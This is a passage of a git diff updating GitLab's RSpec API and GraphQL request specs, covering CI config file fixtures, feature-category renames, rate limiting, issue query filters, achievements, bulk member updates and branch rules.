shared_examples_for 'repository raw files' do
it 'returns 400 when file path is invalid' do
@@ -1006,6 +1082,8 @@ RSpec.describe API::Files, feature_category: :source_code_management do
end
context 'when specifying an author' do
+ include_context 'with author parameters'
+
it 'creates a new file with the specified author' do
params.merge!(author_email: author_email, author_name: author_name)
post api(route('new_file_with_author%2Etxt'), user), params: params
@@ -1163,6 +1241,8 @@ RSpec.describe API::Files, feature_category: :source_code_management do
end
context 'when specifying an author' do
+ include_context 'with author parameters'
+
it 'updates a file with the specified author' do
params.merge!(author_email: author_email, author_name: author_name, content: 'New content')
@@ -1236,6 +1316,8 @@ RSpec.describe API::Files, feature_category: :source_code_management do
end
context 'when specifying an author' do
+ include_context 'with author parameters'
+
before do
params.merge!(author_email: author_email, author_name: author_name)
end
diff --git a/spec/requests/api/graphql/ci/config_spec.rb b/spec/requests/api/graphql/ci/config_spec.rb
index 8154f132430..5f43a0806f3 100644
--- a/spec/requests/api/graphql/ci/config_spec.rb
+++ b/spec/requests/api/graphql/ci/config_spec.rb
@@ -5,6 +5,7 @@ require 'spec_helper'
RSpec.describe 'Query.ciConfig', feature_category: :continuous_integration do
include GraphqlHelpers
include StubRequests
+ include RepoHelpers
subject(:post_graphql_query) { post_graphql(query, current_user: user) }
@@ -245,17 +246,22 @@ RSpec.describe 'Query.ciConfig', feature_category: :continuous_integration do
)
end
- before do
- allow_next_instance_of(Repository) do |repository|
- allow(repository).to receive(:blob_data_at).with(an_instance_of(String), 'other_file.yml') do
- YAML.dump(
- build: {
- script: 'build'
- }
- )
- end
+ let(:project_files) do
+ {
+ 'other_file.yml' => <<~YAML
+ build:
+ script: build
+ YAML
+ }
+ end
+
+ around do |example|
+ create_and_delete_files(project, project_files) do
+ example.run
end
+ end
+ before do
post_graphql_query
end
@@ -370,25 +376,33 @@ RSpec.describe 'Query.ciConfig', feature_category: :continuous_integration do
)
end
- before do
- allow_next_instance_of(Repository) do |repository|
- allow(repository).to receive(:blob_data_at).with(an_instance_of(String), 'other_file.yml') do
- YAML.dump(
- build: {
- script: 'build'
- }
- )
- end
+ let(:project_files) do
+ {
+ 'other_file.yml' => <<~YAML
+ build:
+ script: build
+ YAML
+ }
+ end
- allow(repository).to receive(:blob_data_at).with(an_instance_of(String), 'other_project_file.yml') do
- YAML.dump(
- other_project_test: {
- script: 'other_project_test'
- }
- )
+ let(:other_project_files) do
+ {
+ 'other_project_file.yml' => <<~YAML
+ other_project_test:
+ script: other_project_test
+ YAML
+ }
+ end
+
+ around do |example|
+ create_and_delete_files(project, project_files) do
+ create_and_delete_files(other_project, other_project_files) do
+ example.run
end
end
+ end
+ before do
stub_full_request('https://gitlab.com/gitlab-org/gitlab/raw/1234/.hello.yml').to_return(body: remote_file_content)
post_graphql_query
diff --git a/spec/requests/api/graphql/ci/jobs_spec.rb b/spec/requests/api/graphql/ci/jobs_spec.rb
index 7a1dc614dcf..131cdb77107 100644
--- a/spec/requests/api/graphql/ci/jobs_spec.rb
+++ b/spec/requests/api/graphql/ci/jobs_spec.rb
@@ -88,10 +88,10 @@ RSpec.describe 'Query.project.pipeline', feature_category: :continuous_integrati
build_stage = create(:ci_stage, position: 2, name: 'build', project: project, pipeline: pipeline)
test_stage = create(:ci_stage, position: 3, name: 'test', project: project, pipeline: pipeline)
- create(:ci_build, pipeline: pipeline, name: 'docker 1 2', scheduling_type: :stage, stage: build_stage, stage_idx: build_stage.position)
- create(:ci_build, pipeline: pipeline, name: 'docker 2 2', stage: build_stage, stage_idx: build_stage.position, scheduling_type: :dag)
- create(:ci_build, pipeline: pipeline, name: 'rspec 1 2', scheduling_type: :stage, stage: test_stage, stage_idx: test_stage.position)
- test_job = create(:ci_build, pipeline: pipeline, name: 'rspec 2 2', scheduling_type: :dag, stage: test_stage, stage_idx: test_stage.position)
+ create(:ci_build, pipeline: pipeline, name: 'docker 1 2', scheduling_type: :stage, ci_stage: build_stage, stage_idx: build_stage.position)
+ create(:ci_build, pipeline: pipeline, name: 'docker 2 2', ci_stage: build_stage, stage_idx: build_stage.position, scheduling_type: :dag)
+ create(:ci_build, pipeline: pipeline, name: 'rspec 1 2', scheduling_type: :stage, ci_stage: test_stage, stage_idx: test_stage.position)
+ test_job = create(:ci_build, pipeline: pipeline, name: 'rspec 2 2', scheduling_type: :dag, ci_stage: test_stage, stage_idx: test_stage.position)
create(:ci_build_need, build: test_job, name: 'my test job')
end
diff --git a/spec/requests/api/graphql/group/merge_requests_spec.rb b/spec/requests/api/graphql/group/merge_requests_spec.rb
index 6976685ecc0..adaee3031a9 100644
--- a/spec/requests/api/graphql/group/merge_requests_spec.rb
+++ b/spec/requests/api/graphql/group/merge_requests_spec.rb
@@ -4,7 +4,7 @@ require 'spec_helper'
# Based on ee/spec/requests/api/epics_spec.rb
# Should follow closely in order to ensure all situations are covered
-RSpec.describe 'Query.group.mergeRequests', feature_category: :code_review do
+RSpec.describe 'Query.group.mergeRequests', feature_category: :code_review_workflow do
include GraphqlHelpers
let_it_be(:group) { create(:group) }
diff --git a/spec/requests/api/graphql/group_query_spec.rb b/spec/requests/api/graphql/group_query_spec.rb
index bc288c0a98b..ce5816999a6 100644
--- a/spec/requests/api/graphql/group_query_spec.rb
+++ b/spec/requests/api/graphql/group_query_spec.rb
@@ -4,7 +4,7 @@ require 'spec_helper'
# Based on spec/requests/api/groups_spec.rb
# Should follow closely in order to ensure all situations are covered
-RSpec.describe 'getting group information', feature_category: :subgroups do
+RSpec.describe 'getting group information', :with_license, feature_category: :subgroups do
include GraphqlHelpers
include UploadHelpers
diff --git a/spec/requests/api/graphql/issues_spec.rb b/spec/requests/api/graphql/issues_spec.rb
index ba6f8ec2cab..e67c92d6c33 100644
--- a/spec/requests/api/graphql/issues_spec.rb
+++ b/spec/requests/api/graphql/issues_spec.rb
@@ -2,11 +2,13 @@
require 'spec_helper'
+# rubocop:disable RSpec/MultipleMemoizedHelpers
RSpec.describe 'getting an issue list at root level', feature_category: :team_planning do
include GraphqlHelpers
let_it_be(:developer) { create(:user) }
let_it_be(:reporter) { create(:user) }
+ let_it_be(:current_user) { developer }
let_it_be(:group1) { create(:group).tap { |group| group.add_developer(developer) } }
let_it_be(:group2) { create(:group).tap { |group| group.add_developer(developer) } }
let_it_be(:project_a) { create(:project, :repository, :public, group: group1) }
@@ -82,9 +84,11 @@ RSpec.describe 'getting an issue list at root level', feature_category: :team_pl
end
let_it_be(:issues, reload: true) { [issue_a, issue_b, issue_c, issue_d, issue_e] }
+ # we need to always provide at least one filter to the query so it doesn't fail
+ let_it_be(:base_params) { { iids: issues.map { |issue| issue.iid.to_s } } }
let(:issue_filter_params) { {} }
- let(:current_user) { developer }
+ let(:all_query_params) { base_params.merge(**issue_filter_params) }
let(:fields) do
<<~QUERY
nodes { id }
@@ -95,6 +99,16 @@ RSpec.describe 'getting an issue list at root level', feature_category: :team_pl
group2.add_reporter(reporter)
end
+ shared_examples 'query that requires at least one filter' do
+ it 'requires at least one filter to be provided to the query' do
+ post_graphql(query, current_user: developer)
+
+ expect(graphql_errors).to contain_exactly(
+ hash_including('message' => _('You must provide at least one filter argument for this query'))
+ )
+ end
+ end
+
context 'when the root_level_issues_query feature flag is disabled' do
before do
stub_feature_flags(root_level_issues_query: false)
@@ -107,20 +121,31 @@ RSpec.describe 'getting an issue list at root level', feature_category: :team_pl
end
end
+ context 'when no filters are provided' do
+ let(:all_query_params) { {} }
+
+ it_behaves_like 'query that requires at least one filter'
+ end
+
+ context 'when only non filter arguments are provided' do
+ let(:all_query_params) { { sort: :SEVERITY_ASC } }
+
+ it_behaves_like 'query that requires at least one filter'
+ end
+
# All new specs should be added to the shared example if the change also
# affects the `issues` query at the root level of the API.
# Shared example also used in spec/requests/api/graphql/project/issues_spec.rb
it_behaves_like 'graphql issue list request spec' do
let_it_be(:external_user) { create(:user) }
+ let_it_be(:another_user) { reporter }
let(:public_projects) { [project_a, project_c] }
- let(:another_user) { reporter }
let(:issue_nodes_path) { %w[issues nodes] }
# filters
let(:expected_negated_assignee_issues) { [issue_b, issue_c, issue_d, issue_e] }
- let(:expected_unioned_assignee_issues) { [issue_a, issue_c] }
let(:voted_issues) { [issue_a, issue_c] }
let(:no_award_issues) { [issue_b, issue_d, issue_e] }
let(:locked_discussion_issues) { [issue_b, issue_d] }
@@ -148,9 +173,6 @@ RSpec.describe 'getting an issue list at root level', feature_category: :team_pl
let(:same_project_issue2) { issue_e }
before_all do
- issue_a.assignee_ids = developer.id
- issue_c.assignee_ids = reporter.id
-
create(:award_emoji, :upvote, user: developer, awardable: issue_a)
create(:award_emoji, :upvote, user: developer, awardable: issue_c)
end
@@ -158,7 +180,7 @@ RSpec.describe 'getting an issue list at root level', feature_category: :team_pl
def pagination_query(params)
graphql_query_for(
:issues,
- params,
+ base_params.merge(**params.to_h),
"#{page_info} nodes { id }"
)
end
@@ -177,6 +199,32 @@ RSpec.describe 'getting an issue list at root level', feature_category: :team_pl
end
end
+ context 'with rate limiting' do
+ it_behaves_like 'rate limited endpoint', rate_limit_key: :search_rate_limit, graphql: true do
+ let_it_be(:current_user) { developer }
+
+ let(:error_message) do
+ 'This endpoint has been requested with the search argument too many times. Try again later.'
+ end
+
+ def request
+ post_graphql(query({ search: 'test' }), current_user: developer)
+ end
+ end
+
+ it_behaves_like 'rate limited endpoint', rate_limit_key: :search_rate_limit_unauthenticated, graphql: true do
+ let_it_be(:current_user) { nil }
+
+ let(:error_message) do
+ 'This endpoint has been requested with the search argument too many times. Try again later.'
+ end
+
+ def request
+ post_graphql(query({ search: 'test' }))
+ end
+ end
+ end
+
def execute_query
post_query
end
@@ -185,7 +233,7 @@ RSpec.describe 'getting an issue list at root level', feature_category: :team_pl
post_graphql(query, current_user: request_user)
end
- def query(params = issue_filter_params)
+ def query(params = all_query_params)
graphql_query_for(
:issues,
params,
@@ -193,3 +241,4 @@ RSpec.describe 'getting an issue list at root level', feature_category: :team_pl
)
end
end
+# rubocop:enable RSpec/MultipleMemoizedHelpers
diff --git a/spec/requests/api/graphql/merge_request/merge_request_spec.rb b/spec/requests/api/graphql/merge_request/merge_request_spec.rb
index 213697bacc1..02ea7bac920 100644
--- a/spec/requests/api/graphql/merge_request/merge_request_spec.rb
+++ b/spec/requests/api/graphql/merge_request/merge_request_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'Query.merge_request(id)', feature_category: :code_review do
+RSpec.describe 'Query.merge_request(id)', feature_category: :code_review_workflow do
include GraphqlHelpers
let_it_be(:project) { create(:project, :empty_repo) }
diff --git a/spec/requests/api/graphql/mutations/achievements/create_spec.rb b/spec/requests/api/graphql/mutations/achievements/create_spec.rb
new file mode 100644
index 00000000000..1713f050540
--- /dev/null
+++ b/spec/requests/api/graphql/mutations/achievements/create_spec.rb
@@ -0,0 +1,78 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Mutations::Achievements::Create, feature_category: :users do
+ include GraphqlHelpers
+ include WorkhorseHelpers
+
+ let_it_be(:developer) { create(:user) }
+ let_it_be(:maintainer) { create(:user) }
+ let_it_be(:group) { create(:group) }
+
+ let(:mutation) { graphql_mutation(:achievements_create, params) }
+ let(:name) { 'Name' }
+ let(:description) { 'Description' }
+ let(:revokeable) { false }
+ let(:avatar) { fixture_file_upload("spec/fixtures/dk.png") }
+ let(:params) do
+ {
+ namespace_id: group.to_global_id,
+ name: name,
+ avatar: avatar,
+ description: description,
+ revokeable: revokeable
+ }
+ end
+
+ subject { post_graphql_mutation_with_uploads(mutation, current_user: current_user) }
+
+ def mutation_response
+ graphql_mutation_response(:achievements_create)
+ end
+
+ before_all do
+ group.add_developer(developer)
+ group.add_maintainer(maintainer)
+ end
+
+ context 'when the user does not have permission' do
+ let(:current_user) { developer }
+ let(:avatar) {}
+
+ it_behaves_like 'a mutation that returns a top-level access error'
+
+ it 'does not create an achievement' do
+ expect { subject }.not_to change { Achievements::Achievement.count }
+ end
+ end
+
+ context 'when the user has permission' do
+ let(:current_user) { maintainer }
+
+ context 'when the params are invalid' do
+ let(:name) {}
+
+ it 'returns the validation error' do
+ subject
+
+ expect(graphql_errors.to_s).to include('provided invalid value for name (Expected value to not be null)')
+ end
+ end
+
+ it 'creates an achievement' do
+ expect { subject }.to change { Achievements::Achievement.count }.by(1)
+ end
+
+ it 'returns the new achievement' do
+ subject
+
+ expect(graphql_data_at(:achievements_create, :achievement)).to match a_hash_including(
+ 'name' => name,
+ 'namespace' => a_hash_including('id' => group.to_global_id.to_s),
+ 'description' => description,
+ 'revokeable' => revokeable
+ )
+ end
+ end
+end
diff --git a/spec/requests/api/graphql/mutations/ci/job_play_spec.rb b/spec/requests/api/graphql/mutations/ci/job_play_spec.rb
index 014a5e0f1c7..9ba80e51dee 100644
--- a/spec/requests/api/graphql/mutations/ci/job_play_spec.rb
+++ b/spec/requests/api/graphql/mutations/ci/job_play_spec.rb
@@ -8,17 +8,25 @@ RSpec.describe 'JobPlay', feature_category: :continuous_integration do
let_it_be(:user) { create(:user) }
let_it_be(:project) { create(:project) }
let_it_be(:pipeline) { create(:ci_pipeline, project: project, user: user) }
- let_it_be(:job) { create(:ci_build, pipeline: pipeline, name: 'build') }
+ let_it_be(:job) { create(:ci_build, :playable, pipeline: pipeline, name: 'build') }
- let(:mutation) do
- variables = {
+ let(:variables) do
+ {
id: job.to_global_id.to_s
}
+ end
+
+ let(:mutation) do
graphql_mutation(:job_play, variables,
<<-QL
errors
job {
id
+ manualVariables {
+ nodes {
+ key
+ }
+ }
}
QL
)
@@ -43,4 +51,29 @@ RSpec.describe 'JobPlay', feature_category: :continuous_integration do
expect(response).to have_gitlab_http_status(:success)
expect(mutation_response['job']['id']).to eq(job_id)
end
+
+ context 'when given variables' do
+ let(:variables) do
+ {
+ id: job.to_global_id.to_s,
+ variables: [
+ { key: 'MANUAL_VAR_1', value: 'test var' },
+ { key: 'MANUAL_VAR_2', value: 'test var 2' }
+ ]
+ }
+ end
+
+ it 'provides those variables to the job', :aggregated_errors do
+ expect_next_instance_of(Ci::PlayBuildService) do |instance|
+ expect(instance).to receive(:execute).with(an_instance_of(Ci::Build), variables[:variables]).and_call_original
+ end
+
+ post_graphql_mutation(mutation, current_user: user)
+
+ expect(response).to have_gitlab_http_status(:success)
+ expect(mutation_response['job']['manualVariables']['nodes'].pluck('key')).to contain_exactly(
+ 'MANUAL_VAR_1', 'MANUAL_VAR_2'
+ )
+ end
+ end
end
diff --git a/spec/requests/api/graphql/mutations/groups/update_spec.rb b/spec/requests/api/graphql/mutations/groups/update_spec.rb
index ea3d42a4463..a9acc593229 100644
--- a/spec/requests/api/graphql/mutations/groups/update_spec.rb
+++ b/spec/requests/api/graphql/mutations/groups/update_spec.rb
@@ -11,7 +11,7 @@ RSpec.describe 'GroupUpdate', feature_category: :subgroups do
let(:variables) do
{
full_path: group.full_path,
- shared_runners_setting: 'DISABLED_WITH_OVERRIDE'
+ shared_runners_setting: 'DISABLED_AND_OVERRIDABLE'
}
end
@@ -52,6 +52,23 @@ RSpec.describe 'GroupUpdate', feature_category: :subgroups do
expect(group.reload.shared_runners_setting).to eq(variables[:shared_runners_setting].downcase)
end
+ context 'when using DISABLED_WITH_OVERRIDE (deprecated)' do
+ let(:variables) do
+ {
+ full_path: group.full_path,
+ shared_runners_setting: 'DISABLED_WITH_OVERRIDE'
+ }
+ end
+
+ it 'updates shared runners settings with disabled_and_overridable' do
+ post_graphql_mutation(mutation, current_user: user)
+
+ expect(response).to have_gitlab_http_status(:success)
+ expect(graphql_errors).to be_nil
+ expect(group.reload.shared_runners_setting).to eq('disabled_and_overridable')
+ end
+ end
+
context 'when bad arguments are provided' do
let(:variables) { { full_path: '', shared_runners_setting: 'INVALID' } }
diff --git a/spec/requests/api/graphql/mutations/members/groups/bulk_update_spec.rb b/spec/requests/api/graphql/mutations/members/groups/bulk_update_spec.rb
new file mode 100644
index 00000000000..ad70129a7bc
--- /dev/null
+++ b/spec/requests/api/graphql/mutations/members/groups/bulk_update_spec.rb
@@ -0,0 +1,130 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'GroupMemberBulkUpdate', feature_category: :subgroups do
+ include GraphqlHelpers
+
+ let_it_be(:current_user) { create(:user) }
+ let_it_be(:user1) { create(:user) }
+ let_it_be(:user2) { create(:user) }
+ let_it_be(:group) { create(:group) }
+ let_it_be(:group_member1) { create(:group_member, group: group, user: user1) }
+ let_it_be(:group_member2) { create(:group_member, group: group, user: user2) }
+ let_it_be(:mutation_name) { :group_member_bulk_update }
+
+ let(:input) do
+ {
+ 'group_id' => group.to_global_id.to_s,
+ 'user_ids' => [user1.to_global_id.to_s, user2.to_global_id.to_s],
+ 'access_level' => 'GUEST'
+ }
+ end
+
+ let(:extra_params) { { expires_at: 10.days.from_now } }
+ let(:input_params) { input.merge(extra_params) }
+ let(:mutation) { graphql_mutation(mutation_name, input_params) }
+ let(:mutation_response) { graphql_mutation_response(mutation_name) }
+
+ context 'when user is not logged-in' do
+ it_behaves_like 'a mutation that returns a top-level access error'
+ end
+
+ context 'when user is not an owner' do
+ before do
+ group.add_maintainer(current_user)
+ end
+
+ it_behaves_like 'a mutation that returns a top-level access error'
+ end
+
+ context 'when user is an owner' do
+ before do
+ group.add_owner(current_user)
+ end
+
+ shared_examples 'updates the user access role' do
+ specify do
+ post_graphql_mutation(mutation, current_user: current_user)
+
+ new_access_levels = mutation_response['groupMembers'].map { |member| member['accessLevel']['integerValue'] }
+ expect(response).to have_gitlab_http_status(:success)
+ expect(mutation_response['errors']).to be_empty
+ expect(new_access_levels).to all(be Gitlab::Access::GUEST)
+ end
+ end
+
+ it_behaves_like 'updates the user access role'
+
+ context 'when inherited members are passed' do
+ let_it_be(:subgroup) { create(:group, parent: group) }
+ let_it_be(:subgroup_member) { create(:group_member, group: subgroup) }
+
+ let(:input) do
+ {
+ 'group_id' => group.to_global_id.to_s,
+ 'user_ids' => [user1.to_global_id.to_s, user2.to_global_id.to_s, subgroup_member.user.to_global_id.to_s],
+ 'access_level' => 'GUEST'
+ }
+ end
+
+ it 'does not update the members' do
+ post_graphql_mutation(mutation, current_user: current_user)
+
+ error = Mutations::Members::Groups::BulkUpdate::INVALID_MEMBERS_ERROR
+ expect(json_response['errors'].first['message']).to include(error)
+ end
+ end
+
+ context 'when members count is more than the allowed limit' do
+ let(:max_members_update_limit) { 1 }
+
+ before do
+ stub_const('Mutations::Members::Groups::BulkUpdate::MAX_MEMBERS_UPDATE_LIMIT', max_members_update_limit)
+ end
+
+ it 'does not update the members' do
+ post_graphql_mutation(mutation, current_user: current_user)
+
+ error = Mutations::Members::Groups::BulkUpdate::MAX_MEMBERS_UPDATE_ERROR
+ expect(json_response['errors'].first['message']).to include(error)
+ end
+ end
+
+ context 'when the update service raises access denied error' do
+ before do
+ allow_next_instance_of(Members::UpdateService) do |instance|
+ allow(instance).to receive(:execute).and_raise(Gitlab::Access::AccessDeniedError)
+ end
+ end
+
+ it 'does not update the members' do
+ post_graphql_mutation(mutation, current_user: current_user)
+
+ expect(mutation_response['groupMembers']).to be_nil
+ expect(mutation_response['errors'])
+ .to contain_exactly("Unable to update members, please check user permissions.")
+ end
+ end
+
+ context 'when the update service returns an error message' do
+ before do
+ allow_next_instance_of(Members::UpdateService) do |instance|
+ error_result = {
+ message: 'Expires at cannot be a date in the past',
+ status: :error,
+ members: [group_member1]
+ }
+ allow(instance).to receive(:execute).and_return(error_result)
+ end
+ end
+
+ it 'will pass through the error' do
+ post_graphql_mutation(mutation, current_user: current_user)
+
+ expect(mutation_response['groupMembers'].first['id']).to eq(group_member1.to_global_id.to_s)
+ expect(mutation_response['errors']).to contain_exactly('Expires at cannot be a date in the past')
+ end
+ end
+ end
+end
diff --git a/spec/requests/api/graphql/mutations/merge_requests/create_spec.rb b/spec/requests/api/graphql/mutations/merge_requests/create_spec.rb
index c954fd50cc4..59f41c5e878 100644
--- a/spec/requests/api/graphql/mutations/merge_requests/create_spec.rb
+++ b/spec/requests/api/graphql/mutations/merge_requests/create_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'Creation of a new merge request', feature_category: :code_review do
+RSpec.describe 'Creation of a new merge request', feature_category: :code_review_workflow do
include GraphqlHelpers
let_it_be(:current_user) { create(:user) }
diff --git a/spec/requests/api/graphql/mutations/merge_requests/reviewer_rereview_spec.rb b/spec/requests/api/graphql/mutations/merge_requests/reviewer_rereview_spec.rb
index c41161eff2b..7a1b3982111 100644
--- a/spec/requests/api/graphql/mutations/merge_requests/reviewer_rereview_spec.rb
+++ b/spec/requests/api/graphql/mutations/merge_requests/reviewer_rereview_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'Setting assignees of a merge request', feature_category: :code_review do
+RSpec.describe 'Setting assignees of a merge request', feature_category: :code_review_workflow do
include GraphqlHelpers
let(:current_user) { create(:user) }
diff --git a/spec/requests/api/graphql/mutations/merge_requests/set_assignees_spec.rb b/spec/requests/api/graphql/mutations/merge_requests/set_assignees_spec.rb
index 364d13291db..b5f2042c42a 100644
--- a/spec/requests/api/graphql/mutations/merge_requests/set_assignees_spec.rb
+++ b/spec/requests/api/graphql/mutations/merge_requests/set_assignees_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'Setting assignees of a merge request', :assume_throttled, feature_category: :code_review do
+RSpec.describe 'Setting assignees of a merge request', :assume_throttled, feature_category: :code_review_workflow do
include GraphqlHelpers
let_it_be(:project) { create(:project, :repository) }
diff --git a/spec/requests/api/graphql/mutations/merge_requests/set_draft_spec.rb b/spec/requests/api/graphql/mutations/merge_requests/set_draft_spec.rb
index b48a94fbeb9..0c2e2975350 100644
--- a/spec/requests/api/graphql/mutations/merge_requests/set_draft_spec.rb
+++ b/spec/requests/api/graphql/mutations/merge_requests/set_draft_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'Setting Draft status of a merge request', feature_category: :code_review do
+RSpec.describe 'Setting Draft status of a merge request', feature_category: :code_review_workflow do
include GraphqlHelpers
let(:current_user) { create(:user) }
diff --git a/spec/requests/api/graphql/mutations/merge_requests/set_locked_spec.rb b/spec/requests/api/graphql/mutations/merge_requests/set_locked_spec.rb
index d88982c508c..73a38adf723 100644
--- a/spec/requests/api/graphql/mutations/merge_requests/set_locked_spec.rb
+++ b/spec/requests/api/graphql/mutations/merge_requests/set_locked_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'Setting locked status of a merge request', feature_category: :code_review do
+RSpec.describe 'Setting locked status of a merge request', feature_category: :code_review_workflow do
include GraphqlHelpers
let(:current_user) { create(:user) }
diff --git a/spec/requests/api/graphql/mutations/merge_requests/set_milestone_spec.rb b/spec/requests/api/graphql/mutations/merge_requests/set_milestone_spec.rb
index a0f0e45d1fc..3907ebad9ce 100644
--- a/spec/requests/api/graphql/mutations/merge_requests/set_milestone_spec.rb
+++ b/spec/requests/api/graphql/mutations/merge_requests/set_milestone_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'Setting milestone of a merge request', feature_category: :code_review do
+RSpec.describe 'Setting milestone of a merge request', feature_category: :code_review_workflow do
include GraphqlHelpers
let(:current_user) { create(:user) }
diff --git a/spec/requests/api/graphql/mutations/merge_requests/set_reviewers_spec.rb b/spec/requests/api/graphql/mutations/merge_requests/set_reviewers_spec.rb
index a5be2a95c8b..fd87112be33 100644
--- a/spec/requests/api/graphql/mutations/merge_requests/set_reviewers_spec.rb
+++ b/spec/requests/api/graphql/mutations/merge_requests/set_reviewers_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'Setting reviewers of a merge request', :assume_throttled, feature_category: :code_review do
+RSpec.describe 'Setting reviewers of a merge request', :assume_throttled, feature_category: :code_review_workflow do
include GraphqlHelpers
let_it_be(:project) { create(:project, :repository) }
diff --git a/spec/requests/api/graphql/mutations/merge_requests/set_subscription_spec.rb b/spec/requests/api/graphql/mutations/merge_requests/set_subscription_spec.rb
index daf1f529847..0e77b048646 100644
--- a/spec/requests/api/graphql/mutations/merge_requests/set_subscription_spec.rb
+++ b/spec/requests/api/graphql/mutations/merge_requests/set_subscription_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'Setting subscribed status of a merge request', feature_category: :code_review do
+RSpec.describe 'Setting subscribed status of a merge request', feature_category: :code_review_workflow do
include GraphqlHelpers
it_behaves_like 'a subscribable resource api' do
diff --git a/spec/requests/api/graphql/mutations/work_items/update_spec.rb b/spec/requests/api/graphql/mutations/work_items/update_spec.rb
index 14cb18d04b8..b33a394d023 100644
--- a/spec/requests/api/graphql/mutations/work_items/update_spec.rb
+++ b/spec/requests/api/graphql/mutations/work_items/update_spec.rb
@@ -489,10 +489,10 @@ RSpec.describe 'Update a work item', feature_category: :team_planning do
expect(response).to have_gitlab_http_status(:success)
expect(widgets_response).to include(
{
- 'children' => { 'edges' => [
+ 'children' => { 'edges' => match_array([
{ 'node' => { 'id' => valid_child2.to_global_id.to_s } },
{ 'node' => { 'id' => valid_child1.to_global_id.to_s } }
- ] },
+ ]) },
'parent' => nil,
'type' => 'HIERARCHY'
}
diff --git a/spec/requests/api/graphql/project/branch_rules_spec.rb b/spec/requests/api/graphql/project/branch_rules_spec.rb
index 7f6a66e2377..2ca37a49149 100644
--- a/spec/requests/api/graphql/project/branch_rules_spec.rb
+++ b/spec/requests/api/graphql/project/branch_rules_spec.rb
@@ -69,12 +69,6 @@ RSpec.describe 'getting list of branch rules for a project', feature_category: :
before do
create(:protected_branch, project: project)
- allow_next_instance_of(Resolvers::ProjectResolver) do |resolver|
- allow(resolver).to receive(:resolve)
- .with(full_path: project.full_path)
- .and_return(project)
- end
- allow(project.repository).to receive(:branch_names).and_call_original
end
it 'avoids N+1 queries', :use_sql_query_cache, :aggregate_failures do
@@ -93,7 +87,6 @@ RSpec.describe 'getting list of branch rules for a project', feature_category: :
end.not_to exceed_all_query_limit(control)
expect_n_matching_branches_count_fields(3)
- expect(project.repository).to have_received(:branch_names).at_least(2).times
end
def expect_n_matching_branches_count_fields(count)
@@ -110,16 +103,16 @@ RSpec.describe 'getting list of branch rules for a project', feature_category: :
let_it_be(:branch_name_b) { 'diff-*' }
let_it_be(:branch_rules) { [branch_rule_a, branch_rule_b] }
let_it_be(:branch_rule_a) do
- create(:protected_branch, project: project, name: branch_name_a, id: 9999)
+ create(:protected_branch, project: project, name: branch_name_a)
end
let_it_be(:branch_rule_b) do
- create(:protected_branch, project: project, name: branch_name_b, id: 10000)
+ create(:protected_branch, project: project, name: branch_name_b)
end
- # branchRules are returned in reverse order, newest first, sorted by primary_key.
- let(:branch_rule_b_data) { branch_rules_data.dig(0, 'node') }
+ # branchRules are returned in alphabetical order
let(:branch_rule_a_data) { branch_rules_data.dig(1, 'node') }
+ let(:branch_rule_b_data) { branch_rules_data.dig(0, 'node') }
before do
post_graphql(query, current_user: current_user, variables: variables)
@@ -128,22 +121,28 @@ RSpec.describe 'getting list of branch rules for a project', feature_category: :
it_behaves_like 'a working graphql query'
it 'includes all fields', :use_sql_query_cache, :aggregate_failures do
- expect(branch_rule_a_data['name']).to eq(branch_name_a)
- expect(branch_rule_a_data['isDefault']).to be(true).or be(false)
- expect(branch_rule_a_data['branchProtection']).to be_present
- expect(branch_rule_a_data['matchingBranchesCount']).to eq(1)
- expect(branch_rule_a_data['createdAt']).to be_present
- expect(branch_rule_a_data['updatedAt']).to be_present
+ expect(branch_rule_a_data).to include(
+ 'name' => branch_name_a,
+ 'isDefault' => be_boolean,
+ 'isProtected' => true,
+ 'matchingBranchesCount' => 1,
+ 'branchProtection' => be_kind_of(Hash),
+ 'createdAt' => be_kind_of(String),
+ 'updatedAt' => be_kind_of(String)
+ )
wildcard_count = TestEnv::BRANCH_SHA.keys.count do |branch_name|
branch_name.starts_with?('diff-')
end
- expect(branch_rule_b_data['name']).to eq(branch_name_b)
- expect(branch_rule_b_data['isDefault']).to be(true).or be(false)
- expect(branch_rule_b_data['branchProtection']).to be_present
- expect(branch_rule_b_data['matchingBranchesCount']).to eq(wildcard_count)
- expect(branch_rule_b_data['createdAt']).to be_present
- expect(branch_rule_b_data['updatedAt']).to be_present
+ expect(branch_rule_b_data).to include(
+ 'name' => branch_name_b,
+ 'isDefault' => be_boolean,
+ 'isProtected' => true,
+ 'matchingBranchesCount' => wildcard_count,
+ 'branchProtection' => be_kind_of(Hash),
+ 'createdAt' => be_kind_of(String),
+ 'updatedAt' => be_kind_of(String)
+ )
end
context 'when limiting the number of results' do
diff --git a/spec/requests/api/graphql/project/issues_spec.rb b/spec/requests/api/graphql/project/issues_spec.rb
index ec5e3c6f0de..cc41795f770 100644
--- a/spec/requests/api/graphql/project/issues_spec.rb
+++ b/spec/requests/api/graphql/project/issues_spec.rb
@@ -91,7 +91,6 @@ RSpec.describe 'getting an issue list for a project', feature_category: :team_pl
# filters
let(:expected_negated_assignee_issues) { [issue_b, issue_c, issue_d, issue_e] }
- let(:expected_unioned_assignee_issues) { [issue_a, issue_b] }
let(:voted_issues) { [issue_a] }
let(:no_award_issues) { [issue_b, issue_c, issue_d, issue_e] }
let(:locked_discussion_issues) { [issue_a] }
@@ -119,9 +118,6 @@ RSpec.describe 'getting an issue list for a project', feature_category: :team_pl
let(:same_project_issue2) { issue_b }
before_all do
- issue_a.assignee_ids = current_user.id
- issue_b.assignee_ids = another_user.id
-
create(:award_emoji, :upvote, user: current_user, awardable: issue_a)
end
diff --git a/spec/requests/api/graphql/project/jobs_spec.rb b/spec/requests/api/graphql/project/jobs_spec.rb
index d05d4a2f4b6..aea6cad9e62 100644
--- a/spec/requests/api/graphql/project/jobs_spec.rb
